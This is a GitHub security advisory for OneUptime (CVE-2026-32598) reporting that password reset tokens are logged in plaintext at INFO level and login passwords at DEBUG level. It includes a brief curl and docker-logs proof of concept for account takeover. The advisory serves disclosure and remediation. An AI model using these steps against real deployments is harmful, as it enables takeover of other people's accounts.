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OneUptime: Password Reset Token Logged at INFO Level

Moderate severity GitHub Reviewed Published Mar 12, 2026 in OneUptime/oneuptime • Updated Mar 16, 2026

Package

npm oneuptime (npm)

Affected versions

< 10.0.23

Patched versions

10.0.23

Description

Summary

The password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user.

Details

Vulnerable code — App/FeatureSet/Identity/API/Authentication.ts lines 370-371:

logger.info("User forgot password: " + user.email?.toString());
logger.info("Reset Password URL: " + tokenVerifyUrl);

The tokenVerifyUrl is a complete URL like https://app.oneuptime.com/accounts/reset-password/<plaintext-token>. This is logged at INFO level, which is enabled by default in production and persisted to stdout, log files, and any configured log aggregation systems.

Additionally — login credentials logged at DEBUG level (line 909):

logger.debug("Login request data: " + JSON.stringify(req.body, null, 2));

The entire login request body (including cleartext password) is logged at DEBUG level. While DEBUG is typically disabled in production, it is commonly enabled during incident troubleshooting.

No existing CVEs cover sensitive data exposure in logging for OneUptime. CVE-2026-30956 (GHSA-r5v6-2599-9g3m) leaked resetPasswordToken from the database via multi-tenant header bypass — this finding is different (token leaked via application logs).

PoC

Environment: OneUptime v10.0.23 via docker compose up (default configuration)

# Step 1 — Trigger forgot-password for target user
curl -s -X POST http://TARGET:8080/api/identity/forgot-password \
  -H 'Content-Type: application/json' \
  -d '{"data": {"email": "test@example.com"}}'
# Response: {}

# Step 2 — Read application logs to extract the reset token
docker compose logs app --tail 5
# Output:
# app-1  | User forgot password: test@example.com
# app-1  | Reset Password URL: http://localhost/accounts/reset-password/20771cc6-860a-4b9b-bb9c-09eff67de4ef

# Step 3 — Use the extracted token to reset the victim's password
curl -s -X POST http://TARGET:8080/api/identity/reset-password \
  -H 'Content-Type: application/json' \
  -d '{"data": {"token": "20771cc6-860a-4b9b-bb9c-09eff67de4ef", "password": "NewPassword123!"}}'

Tested and confirmed on 2026-03-12 against oneuptime/app:release (APP_VERSION=10.0.23). Full password reset token 20771cc6-860a-4b9b-bb9c-09eff67de4ef visible in INFO-level logs.

Attack surface for log access: ELK/Elasticsearch dashboards (often misconfigured with default credentials), CloudWatch/Datadog/Splunk/Grafana Loki, docker logs / kubectl logs, shared log volumes, CDN/proxy access logs.

Impact

Any user's account can be taken over by anyone with read access to application logs:

  • Account takeover: Every password reset token is logged in plaintext, creating a persistent trail of sensitive tokens
  • Exposure scale: This logs EVERY password reset request — not a one-off, but systematic
  • Cascading impact: Combined with differential error responses in forgot-password (user enumeration), an attacker can systematically target any user
  • Organizations that aggregate OneUptime logs into shared logging infrastructure expose all password reset tokens to anyone with log reader access

References

@simlarsen simlarsen published to OneUptime/oneuptime Mar 12, 2026
Published by the National Vulnerability Database Mar 13, 2026
Published to the GitHub Advisory Database Mar 13, 2026
Reviewed Mar 13, 2026
Last updated Mar 16, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(12th percentile)

Weaknesses

Insertion of Sensitive Information into Log File

The product writes sensitive information to a log file. Learn more on MITRE.

CVE ID

CVE-2026-32598

GHSA ID

GHSA-4524-cj9j-g4fj

Source code

Credits

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